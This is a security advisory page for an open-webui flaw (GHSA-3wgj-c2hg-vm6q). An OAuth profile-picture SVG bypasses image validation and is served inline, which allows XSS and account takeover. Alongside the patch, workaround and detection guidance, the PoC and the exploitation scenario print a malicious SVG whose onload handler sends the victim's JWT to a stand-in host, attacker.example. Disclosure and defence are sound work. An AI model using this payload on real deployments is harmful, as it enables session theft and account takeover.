GHSA-3wgj-c2hg-vm6q: open-webui: XSS via OAuth SVG picture → account takeover

GHSA-3wgj-c2hg-vm6q HIGH
Published May 14, 2026
CISO Take

Open WebUI's OAuth sign-in flow accepts any URL as a user profile picture, infers the MIME type from the file extension rather than the server's Content-Type header, and stores the result verbatim in the database — entirely bypassing the validator that restricts images to PNG/JPEG/GIF/WebP. An attacker with any valid identity provider account sets their profile picture to a malicious SVG, signs into an Open WebUI instance, and then shares a link to their own profile image endpoint; any authenticated victim who opens that link receives the SVG rendered inline by the browser in the app's own origin, executing arbitrary JavaScript that reads `localStorage.token` and exfiltrates the JWT for immediate account takeover. With 91 prior CVEs in this package, no default CSP or X-Content-Type-Options headers, and a secondary SSRF primitive in the same function, the blast radius extends beyond XSS — victims with `workspace.tools` permission face RCE per the advisory's own cross-reference to CVE-2025-64496. Patch to open-webui 0.9.5 immediately; if patching is blocked, set `ENABLE_OAUTH_SIGNUP=false` and `OAUTH_UPDATE_PICTURE_ON_LOGIN=false` and audit your `profile_image_url` column for existing `data:image/svg+xml` entries.

Sources: GitHub Advisory ATLAS

What is the risk?

High risk in any Open WebUI deployment with OAuth enabled and default security header configuration. The attack requires only a legitimate IdP account and the ability to send a link — no AI/ML expertise, no elevated privileges, and no prior foothold in the target environment. Exploitation is trivially reproducible from the public advisory PoC. The default deployment ships without CSP or nosniff headers, providing no browser-level backstop. Post-exploitation impact escalates from account takeover to potential RCE for privileged users. The secondary SSRF primitive in `_process_picture_url` enables internal network reconnaissance as a side channel, compounding risk in cloud or on-premises environments where the Open WebUI host has network adjacency to sensitive services.

Attack Kill Chain

Initial Access via OAuth
Attacker with a valid IdP account sets their profile picture URL to a malicious SVG and authenticates into Open WebUI via OAuth, triggering the vulnerable `_process_picture_url` function.
AML.T0049
Validator Bypass & Payload Storage
Open WebUI infers `image/svg+xml` MIME type from the URL file extension, skips the Pydantic profile image validator entirely, and writes the SVG data URI directly to the database via SQLAlchemy.
Malicious Link Delivery
Attacker shares the profile image endpoint URL with a target victim via DM or channel, socially engineering the click.
AML.T0011.003
JWT Exfiltration & Account Takeover
Victim's browser renders the SVG as an inline top-level document in the app origin, JavaScript fires, reads the JWT from localStorage, and posts it to the attacker — who immediately uses it to take over the victim's account.
AML.T0091.000

What systems are affected?

Package Ecosystem Vulnerable Range Patched
open-webui pip <= 0.9.4 0.9.5
136.3K Pushed 5d ago 75% patched ~4d to patch Full package profile →

Do you use open-webui? You're affected.

Severity & Risk

CVSS 3.1
7.3 / 10
EPSS
N/A
Exploitation Status
No known exploitation
Sophistication
Trivial

Attack Surface

AV AC PR UI S C I A
AV Network
AC Low
PR Low
UI Required
S Unchanged
C High
I High
A None

What should I do?

6 steps
  1. Patch immediately

    Upgrade open-webui to 0.9.5, which enforces MIME allowlisting in _process_picture_url and adds defense-in-depth at the serving endpoint.

  2. Interim workaround

    If upgrade is blocked, set ENABLE_OAUTH_SIGNUP=false and OAUTH_UPDATE_PICTURE_ON_LOGIN=false to prevent new SVG payloads from being stored.

  3. Harden default headers

    Enable X-Content-Type-Options: nosniff and a restrictive CSP via the Open WebUI environment variables documented in security_headers.py — these are opt-in and off by default.

  4. Detect existing compromise

    Query SELECT id, email, profile_image_url FROM users WHERE profile_image_url LIKE 'data:image/svg+xml%' against your PostgreSQL instance; any match indicates exploitation or attempted exploitation.

  5. Force JWT rotation

    If SVG entries are found, invalidate all active sessions for the associated accounts and require re-authentication.

  6. Block SSRF

    Add network egress controls to restrict Open WebUI's outbound HTTP to known-good IdP endpoints, preventing the SSRF secondary primitive from reaching internal services.

Classification

Compliance Impact

This CVE is relevant to:

EU AI Act
Art. 9 - Risk management system
ISO 42001
A.9.3 - Protection of AI system
NIST AI RMF
MEASURE 2.6 - Risk to individuals from AI system operation
OWASP LLM Top 10
LLM02:2025 - Insecure Output Handling

Frequently Asked Questions

What is GHSA-3wgj-c2hg-vm6q?

Open WebUI's OAuth sign-in flow accepts any URL as a user profile picture, infers the MIME type from the file extension rather than the server's Content-Type header, and stores the result verbatim in the database — entirely bypassing the validator that restricts images to PNG/JPEG/GIF/WebP. An attacker with any valid identity provider account sets their profile picture to a malicious SVG, signs into an Open WebUI instance, and then shares a link to their own profile image endpoint; any authenticated victim who opens that link receives the SVG rendered inline by the browser in the app's own origin, executing arbitrary JavaScript that reads `localStorage.token` and exfiltrates the JWT for immediate account takeover. With 91 prior CVEs in this package, no default CSP or X-Content-Type-Options headers, and a secondary SSRF primitive in the same function, the blast radius extends beyond XSS — victims with `workspace.tools` permission face RCE per the advisory's own cross-reference to CVE-2025-64496. Patch to open-webui 0.9.5 immediately; if patching is blocked, set `ENABLE_OAUTH_SIGNUP=false` and `OAUTH_UPDATE_PICTURE_ON_LOGIN=false` and audit your `profile_image_url` column for existing `data:image/svg+xml` entries.

Is GHSA-3wgj-c2hg-vm6q actively exploited?

No confirmed active exploitation of GHSA-3wgj-c2hg-vm6q has been reported, but organizations should still patch proactively.

How to fix GHSA-3wgj-c2hg-vm6q?

1. **Patch immediately**: Upgrade open-webui to 0.9.5, which enforces MIME allowlisting in `_process_picture_url` and adds defense-in-depth at the serving endpoint. 2. **Interim workaround**: If upgrade is blocked, set `ENABLE_OAUTH_SIGNUP=false` and `OAUTH_UPDATE_PICTURE_ON_LOGIN=false` to prevent new SVG payloads from being stored. 3. **Harden default headers**: Enable `X-Content-Type-Options: nosniff` and a restrictive CSP via the Open WebUI environment variables documented in `security_headers.py` — these are opt-in and off by default. 4. **Detect existing compromise**: Query `SELECT id, email, profile_image_url FROM users WHERE profile_image_url LIKE 'data:image/svg+xml%'` against your PostgreSQL instance; any match indicates exploitation or attempted exploitation. 5. **Force JWT rotation**: If SVG entries are found, invalidate all active sessions for the associated accounts and require re-authentication. 6. **Block SSRF**: Add network egress controls to restrict Open WebUI's outbound HTTP to known-good IdP endpoints, preventing the SSRF secondary primitive from reaching internal services.

What systems are affected by GHSA-3wgj-c2hg-vm6q?

This vulnerability affects the following AI/ML architecture patterns: LLM chat interfaces, Local LLM deployments, AI agent frameworks, ML UI platforms, Multi-user AI workspaces.

What is the CVSS score for GHSA-3wgj-c2hg-vm6q?

GHSA-3wgj-c2hg-vm6q has a CVSS v3.1 base score of 7.3 (HIGH).

Technical Details

NVD Description

# Summary When a user signs in via OAuth, Open WebUI fetches the `picture` claim URL, infers a MIME type from the URL extension via `mimetypes.guess_type`, and stores `data:<mime>;base64,...` as the user's profile image. The OAuth code path does not go through the `validate_profile_image_url` Pydantic validator that normally restricts profile images to PNG/JPEG/GIF/WebP. A `.svg` URL in the `picture` claim lands in the database as `data:image/svg+xml;base64,...`. The profile image endpoint `GET /api/v1/users/{id}/profile/image` returns the stored data URI with the attacker-controlled MIME type as `Content-Type` and `Content-Disposition: inline`. Security headers (CSP, `X-Content-Type-Options`) are env-gated and not set by default. An authenticated user navigating directly to that URL gets the SVG as a top-level document, executing `<script>`/`onload` in the same origin and able to read `localStorage.token` → account takeover. Same class of trust-boundary error as CVE-2025-64496 (trust of untrusted model servers) and CVE-2025-64495 (rich-text XSS). Different sink, different code path. # Details ## 1. MIME inferred from URL extension, not Content-Type `backend/open_webui/utils/oauth.py:1336-1345` — `_process_picture_url`: ```python response = await client.get(picture_url, ...) if response.status_code == 200: picture = response.content base64_encoded_picture = base64.b64encode(picture).decode("utf-8") guessed_mime_type = mimetypes.guess_type(picture_url)[0] if guessed_mime_type is None: guessed_mime_type = "image/jpeg" return f"data:{guessed_mime_type};base64,{base64_encoded_picture}" ``` No MIME allowlist. The upstream `Content-Type` is ignored. For a URL ending in `.svg`, `mimetypes.guess_type` returns `image/svg+xml`. ## 2. OAuth path bypasses the profile-image validator `backend/open_webui/utils/validate.py:10-36` defines `validate_profile_image_url`, which only accepts `/user.png`, `/user-mono.png`, and `data:image/{png,jpeg,gif,webp};base64,...`. This validator is wired into Pydantic form models (`SignupForm`, `UpdateProfileForm`, `UserUpdateForm`), but the OAuth flow at `oauth.py:1536-1540` (existing-user login) and `oauth.py:1556-1574` (new-user signup) writes via `Users.update_user_profile_image_url_by_id` and `Auths.insert_new_auth`, both of which call SQLAlchemy directly (`models/users.py:575-588`) without going through any Pydantic model. The SVG data URI lands in the DB unchallenged. ## 3. Endpoint serves attacker-controlled MIME with `inline` disposition `backend/open_webui/routers/users.py:504-528` — `get_user_profile_image_by_id`: ```python header, encoded = image.split(",", 1) media_type = header.split(";")[0].lstrip("data:") # "image/svg+xml" data = base64.b64decode(encoded) return StreamingResponse( iter([data]), media_type=media_type, headers={"Content-Disposition": "inline"}, ) ``` No MIME whitelist. The route requires `get_verified_user` — any authenticated user reaches it. ## 4. No default CSP / nosniff `backend/open_webui/utils/security_headers.py:16-61` populates headers only when the operator sets the corresponding env var. The default deployment returns none of these. Browsers render a top-level `image/svg+xml` response as an XML document and execute embedded script. # PoC **Prerequisites**: operator has OAuth signup enabled (`ENABLE_OAUTH_SIGNUP=true`) or OAuth login with picture sync (`OAUTH_UPDATE_PICTURE_ON_LOGIN=true`). The attacker has a valid identity on the configured IdP and can set their profile picture URL. 1. Attacker hosts a malicious SVG at `https://attacker.example/p.svg`: ```xml <svg xmlns="http://www.w3.org/2000/svg" onload="fetch('https://attacker.example/x?c='+encodeURIComponent(localStorage.getItem('token')))" /> ``` 2. Attacker sets their IdP profile picture to that URL and signs in to Open WebUI via OAuth. Signup (or login with picture sync) stores `data:image/svg+xml;base64,...` in the attacker's `profile_image_url`. 3. Attacker shares a link to their own profile image with a victim in a chat DM or channel: ``` https://target.example/api/v1/users/<attacker-user-id>/profile/image ``` 4. The authenticated victim clicks the link. The browser receives `Content-Type: image/svg+xml` with `Content-Disposition: inline`, renders the SVG as a top-level document, fires `onload`, and exfiltrates the victim's JWT. Attacker uses the JWT to take over the victim's account. # Impact - Account takeover of any authenticated user who opens the crafted URL. - Post-takeover: access to the victim's chats, API keys stored in their settings, and — if the victim has `workspace.tools` permission — RCE via installed tools (per CVE-2025-64496 analysis). - The same `_process_picture_url` function has no SSRF allowlist; a secondary primitive is to point the `picture` claim at an internal URL (metadata service, internal admin panel) and read the response bytes via the profile image endpoint. # Suggested fix 1. In `_process_picture_url` (`utils/oauth.py:1336-1345`): reject any MIME outside `{image/png, image/jpeg, image/gif, image/webp}`. Use the upstream `Content-Type` response header, not the URL extension. Also add an SSRF allowlist or at minimum block RFC1918 / link-local / loopback targets. 2. In `get_user_profile_image_by_id` (`routers/users.py:504-528`): enforce a MIME whitelist before building `StreamingResponse`. This is the defense-in-depth layer that should have caught the bypass. 3. Apply `validate_profile_image_url` at the model/storage layer (`Users.update_user_profile_image_url_by_id`), not only at the Pydantic form layer. All write paths to the profile image column should go through the same validator. 4. Set `X-Content-Type-Options: nosniff` and a default CSP unless the operator explicitly disables them. # References - `backend/open_webui/utils/oauth.py:1318-1351` — MIME guess + fetch - `backend/open_webui/utils/oauth.py:1536-1574` — OAuth write path - `backend/open_webui/utils/validate.py:10-36` — validator (bypassed) - `backend/open_webui/models/users.py:575-588` — DB write - `backend/open_webui/routers/users.py:504-528` — serving endpoint - `backend/open_webui/utils/security_headers.py:16-61` — env-gated headers - CVE-2025-64496 — precedent: trust boundary error (same class) - CVE-2025-64495 — precedent: rich-text XSS (same class)

Exploitation Scenario

An attacker registers with an OAuth identity provider (Google Workspace, Okta, any OIDC-compatible IdP) that is configured as a sign-in method for the target Open WebUI deployment. They set their IdP profile picture to a URL pointing to an attacker-controlled SVG: `https://attacker.example/p.svg` containing `<svg xmlns='http://www.w3.org/2000/svg' onload="fetch('https://attacker.example/x?t='+encodeURIComponent(localStorage.getItem('token')))"/>`. Upon OAuth sign-in, Open WebUI fetches the SVG, uses `mimetypes.guess_type` to infer `image/svg+xml` from the `.svg` extension, and stores the base64-encoded payload as the attacker's `profile_image_url` — the Pydantic validator is never invoked. The attacker then sends a DM to a target victim within Open WebUI: 'Check out this report I found' with an embedded link to `https://target.example/api/v1/users/<attacker-user-id>/profile/image`. The authenticated victim clicks the link; the server responds with `Content-Type: image/svg+xml` and `Content-Disposition: inline`, the browser renders it as a top-level XML document in the app's origin, `onload` fires, and the victim's JWT is silently posted to the attacker's server. The attacker immediately uses the JWT in an `Authorization: Bearer` header to call `/api/v1/users/me`, confirming account identity, then pivots to `/api/v1/tools/list` to enumerate installed agent tools for potential RCE.

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N

Timeline

Published
May 14, 2026
Last Modified
May 14, 2026
First Seen
May 15, 2026

Related Vulnerabilities